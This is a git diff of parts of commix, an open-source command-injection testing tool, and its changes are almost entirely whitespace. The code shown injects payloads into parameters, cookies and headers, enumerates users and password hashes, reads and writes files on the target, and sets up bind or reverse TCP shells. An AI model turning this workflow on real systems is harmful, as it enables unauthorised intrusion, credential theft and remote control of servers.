-432,7 +432,7 @@ def host_injection(url, http_request_method, filename, timesec): referer_injection(url, http_request_method, filename, timesec) else: if "referer" not in menu.options.skip_parameter.lower(): - referer_injection(url, http_request_method, filename, timesec) + referer_injection(url, http_request_method, filename, timesec) # Host HTTP header injection if menu.options.skip_parameter == None: @@ -440,7 +440,7 @@ def host_injection(url, http_request_method, filename, timesec): host_injection(url, http_request_method, filename, timesec) else: if "host" not in menu.options.skip_parameter.lower(): - host_injection(url, http_request_method, filename, timesec) + host_injection(url, http_request_method, filename, timesec) """ Check for stored injections on User-agent / Referer headers (if level > 2). @@ -456,7 +456,7 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file elif check_parameter == "host": menu.options.host= settings.INJECT_TAG settings.HOST_INJECTION = True - else: + else: menu.options.agent = settings.INJECT_TAG settings.USER_AGENT_INJECTION = True injection_proccess(url, check_parameter, http_request_method, filename, timesec) @@ -466,7 +466,7 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file """ -Cookie injection +Cookie injection """ def cookie_injection(url, http_request_method, filename, timesec): @@ -484,7 +484,7 @@ def cookie_injection(url, http_request_method, filename, timesec): cookie_parameters_list.append(cookie_parameters) cookie_parameters = cookie_parameters_list - # Remove whitespaces + # Remove whitespaces cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] check_parameters = [] @@ -509,25 +509,25 @@ def cookie_injection(url, http_request_method, filename, timesec): if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.cookie = cookie_parameters[param_counter] check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 - break + break else: - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + if settings.COOKIE_INJECTION == True: # Restore cookie value menu.options.cookie = cookie_value - # Disable cookie injection + # Disable cookie injection settings.COOKIE_INJECTION = False """ Check if HTTP Method is GET. -""" +""" def get_request(url, http_request_method, filename, timesec): found_url = parameters.do_GET_check(url, http_request_method) @@ -556,23 +556,23 @@ def get_request(url, http_request_method, filename, timesec): if check_parameter in "".join(settings.TEST_PARAMETER).split(","): url = found_url[url_counter] check_parameter = parameters.vuln_GET_param(url) - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) url_counter += 1 break else: - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) """ Check if HTTP Method is POST. -""" +""" def post_request(url, http_request_method, filename, timesec): parameter = menu.options.data @@ -587,8 +587,8 @@ def post_request(url, http_request_method, filename, timesec): if settings.IS_XML: # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] - else: - # Remove whitespaces + else: + # Remove whitespaces found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter] # Check if multiple parameters @@ -616,17 +616,17 @@ def post_request(url, http_request_method, filename, timesec): if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.data = found_parameter[param_counter] check_parameter = parameters.vuln_POST_param(menu.options.data, url) - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 break else: - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) @@ -652,7 +652,7 @@ def perform_checks(url, http_request_method, filename): except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() - elif menu.options.auth_url or menu.options.auth_data: + elif menu.options.auth_url or menu.options.auth_data: err_msg = "You must specify both login panel URL and login parameters." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -673,13 +673,13 @@ def perform_checks(url, http_request_method, filename): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) settings.CUSTOM_HEADER_INJECTION = None - + # Check if defined POST data if not settings.COOKIE_INJECTION: if settings.USER_DEFINED_POST_DATA: post_request(url, http_request_method, filename, timesec) else: - get_request(url, http_request_method, filename, timesec) + get_request(url, http_request_method, filename, timesec) _ = menu.options.level if _ >= settings.COOKIE_INJECTION_LEVEL: @@ -703,7 +703,7 @@ def perform_checks(url, http_request_method, filename): if settings.INJECTION_CHECKER == False: return False else: - return True + return True """ General check on every injection technique. @@ -714,7 +714,7 @@ def do_check(url, http_request_method, filename): settings.RECHECK_FILE_FOR_EXTRACTION = False # Check for '--tor' option. - if menu.options.tor: + if menu.options.tor: if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " warn_msg += "time-based injections because of inherent high latency time." @@ -732,7 +732,7 @@ def do_check(url, http_request_method, filename): scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: while True: - message = "Do you want to increase to '--level=" + str(scan_level + 1) + message = "Do you want to increase to '--level=" + str(scan_level + 1) message += "' in order to perform more tests? [Y/n] > " next_level = common.read_input(message, default="Y", check_batch=True) if next_level in settings.CHOICE_YES: @@ -740,17 +740,17 @@ def do_check(url, http_request_method, filename): if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : scan_level = scan_level + 1 else: - break + break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(next_level) + common.invalid_option(next_level) pass else: perform_checks(url, http_request_method, filename) - + # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: @@ -768,7 +768,7 @@ def do_check(url, http_request_method, filename): if not settings.SKIP_TECHNIQUES : err_msg += "'--technique'." else: - err_msg += "'--skip-technique'." + err_msg += "'--skip-technique'." err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" if not menu.options.alter_shell : err_msg += " use option '--alter-shell'" @@ -784,7 +784,7 @@ def do_check(url, http_request_method, filename): if settings.MULTI_TARGETS: err_msg += " Skipping to the next target." print(settings.print_error_msg(err_msg)) - else: + else: logs.print_logs_notification(filename, url) # if not settings.MULTI_TARGETS: # print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index a8156b5cce..9f13df06c5 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -35,14 +35,14 @@ def logfile_parser(): def multi_requests(): print(settings.SINGLE_WHITESPACE) err_msg = "Multiple" - if menu.options.requestfile: + if menu.options.requestfile: err_msg += " requests" - elif menu.options.logfile: + elif menu.options.logfile: err_msg += " targets" err_msg += " are not supported, thus all coming" - if menu.options.requestfile: + if menu.options.requestfile: err_msg += " requests " - elif menu.options.logfile: + elif menu.options.logfile: err_msg += " targets " err_msg += "will be ignored." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") @@ -64,10 +64,10 @@ def invalid_data(request): if menu.options.requestfile: info_msg = "Parsing HTTP request " request_file = menu.options.requestfile - elif menu.options.logfile: + elif menu.options.logfile: info_msg = "Parsing target " request_file = menu.options.logfile - + if not os.path.exists(request_file): print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + request_file + "' file, does not exist." @@ -90,7 +90,7 @@ def invalid_data(request): request = file.read() else: invalid_data(request_file) - + except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." @@ -123,15 +123,15 @@ def invalid_data(request): if checks.is_XML_check(item): multiple_xml.append(item) if len(multiple_xml) != 0: - menu.options.data = '\n'.join([str(item) for item in multiple_xml]) - else: + menu.options.data = '\n'.join([str(item) for item in multiple_xml]) + else: menu.options.data = result[len(result)-1] else: # Check if url ends with "=". if request_url[0].endswith("="): request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) except IndexError: - invalid_data(request_file) + invalid_data(request_file) # Check if invalid data else: @@ -175,19 +175,19 @@ def invalid_data(request): match = match.replace("('","") match = match.replace("')","\\n") # Ignore some header. - if "Content-Length" or "Accept-Encoding" in match: + if "Content-Length" or "Accept-Encoding" in match: extra_headers = extra_headers else: extra_headers = extra_headers + match - - # Extra headers + + # Extra headers menu.options.headers = extra_headers - # Target URL + # Target URL if not menu.options.host: invalid_data(request_file) else: if len(_urllib.parse.urlparse(request_url).scheme) == 0: - request_url = scheme + request_url + request_url = scheme + request_url if not menu.options.host in request_url: request_url = request_url.replace(scheme, scheme + menu.options.host) request_url = checks.check_http_s(request_url) diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index d88e06b65a..0712945e87 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -45,7 +45,7 @@ def check_established_connection(): if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line: pass else: - return + return """ Execute the bind / reverse TCP shell @@ -67,7 +67,7 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ else: whitespace = settings.WHITESPACES[0] if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) + whitespace = _urllib.parse.quote(whitespace) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) end = time.time() diff = end - start @@ -100,7 +100,7 @@ def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_reques while True: if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_bind_tcp_options(settings.RHOST) - else: + else: cmd = bind_tcp.bind_tcp_options(separator) result = checks.check_bind_tcp_options(cmd) if result != None: @@ -111,10 +111,10 @@ def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_reques settings.BIND_TCP = False elif result == 3: settings.BIND_TCP = False - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) return go_back, go_back_again - # execute bind TCP shell + # execute bind TCP shell execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) """ @@ -133,7 +133,7 @@ def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_req while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) - else: + else: cmd = reverse_tcp.reverse_tcp_options(separator) result = checks.check_reverse_tcp_options(cmd) if result != None: @@ -145,17 +145,17 @@ def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_req elif result == 3: settings.REVERSE_TCP = False bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) - #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) + #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) return go_back, go_back_again - # execute reverse TCP shell + # execute reverse TCP shell execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) """ Check commix shell options """ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE): - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) + os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == "back" or os_shell_option == True or os_shell_option == False: go_back = True @@ -164,7 +164,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m return go_back, go_back_again # The "os_shell" option - elif os_shell_option == "os_shell": + elif os_shell_option == "os_shell": warn_msg = "You are into the '" + os_shell_option + "' mode." print(settings.print_warning_msg(warn_msg)) return go_back, go_back_again @@ -180,8 +180,8 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m return go_back, go_back_again # The "quit" option - elif os_shell_option == "quit": - logs.print_logs_notification(filename, url) + elif os_shell_option == "quit": + logs.print_logs_notification(filename, url) raise SystemExit() else: diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 671675f952..413f16e9d5 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -32,7 +32,7 @@ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False + _ = False cmd = settings.PS_VERSION if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) @@ -57,7 +57,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME + settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -76,14 +76,14 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur """ Retrieve system information """ -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False +def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS + cmd = settings.RECOGNISE_OS if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: - cmd = "cmd /c " + cmd + cmd = "cmd /c " + cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -163,8 +163,8 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re _ = False if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT + else: + cmd = settings.IS_ROOT if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -184,15 +184,15 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re """ System users enumeration """ -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - cmd = settings.SYS_USERS + cmd = settings.SYS_USERS if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - cmd = checks.add_new_cmd(cmd) + cmd = checks.add_new_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -204,15 +204,15 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = "".join(str(p) for p in sys_users) session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ System passwords enumeration """ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.SYS_PASSES + _ = False + cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 6cbfee5936..30fd451336 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -40,10 +40,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) else: cmd = checks.write_content(content, dest_to_write) @@ -78,7 +78,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, Read a file from the target host. """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, file_to_read = checks.file_content_to_read() + cmd, file_to_read = checks.file_content_to_read() if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if settings.URL_RELOAD: @@ -108,6 +108,6 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur if menu.options.file_read: file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True + settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 3ced16c42a..d23390fb86 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -58,13 +58,13 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ is_encoded = False export_injection_info = False - if not settings.LOAD_SESSION: + if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - + i = 0 # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) @@ -73,7 +73,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) + whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False @@ -98,15 +98,15 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ prefix = "" # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 - + # Define alter shell alter_shell = menu.options.alter_shell - + try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). @@ -114,27 +114,27 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision(separator, TAG, randv1, randv2) - + # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: print(settings.print_payload(payload)) - + # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) - + # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. @@ -173,10 +173,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.VERBOSITY_LEVEL == 0: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - + if shell == False: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: @@ -189,9 +189,9 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - + except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) raise @@ -201,12 +201,12 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) - raise + raise except: continue - - # Yaw, got shellz! + + # Yaw, got shellz! # Do some magic tricks! if shell: found = True @@ -214,32 +214,32 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.HOST_INJECTION == True: + elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION == True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" - else: + else: header_name = "" the_type = " parameter" # Check if defined POST data @@ -249,14 +249,14 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) + logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: @@ -276,8 +276,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - + settings.LOAD_SESSION = False + # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : @@ -295,12 +295,12 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enumerate_again) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: @@ -311,21 +311,21 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ menu.options.ignore_session = True cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break - elif file_access_again in settings.CHOICE_NO: + elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(file_access_again) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + # Check if defined single cmd. if menu.options.os_cmd: cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + # Pseudo-Terminal shell try: checks.alert() @@ -333,7 +333,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ go_back_again = False while True : if go_back == True: - break + break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.CRAWLING: settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) @@ -356,7 +356,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back and go_back_again == False: break if go_back and go_back_again: - return True + return True else: # Command execution results. time.sleep(timesec) @@ -372,7 +372,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ shell = "".join(str(p) for p in shell) except: print(settings.SINGLE_WHITESPACE) - continue + continue if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: @@ -390,9 +390,9 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ break else: if no_result == True: - return False + return False else: - return True + return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: @@ -407,7 +407,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) - raise + raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 9c8d1f330b..c1e7b78995 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -36,7 +36,7 @@ unescape = html.unescape except: # Python 2 unescape = _html_parser.HTMLParser().unescape - + """ The "classic" technique on result-based OS command injection. """ @@ -44,7 +44,7 @@ """ Check if target host is vulnerable. """ -def injection_test(payload, http_request_method, url): +def injection_test(payload, http_request_method, url): # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: @@ -54,7 +54,7 @@ def injection_test(payload, http_request_method, url): vuln_parameter = 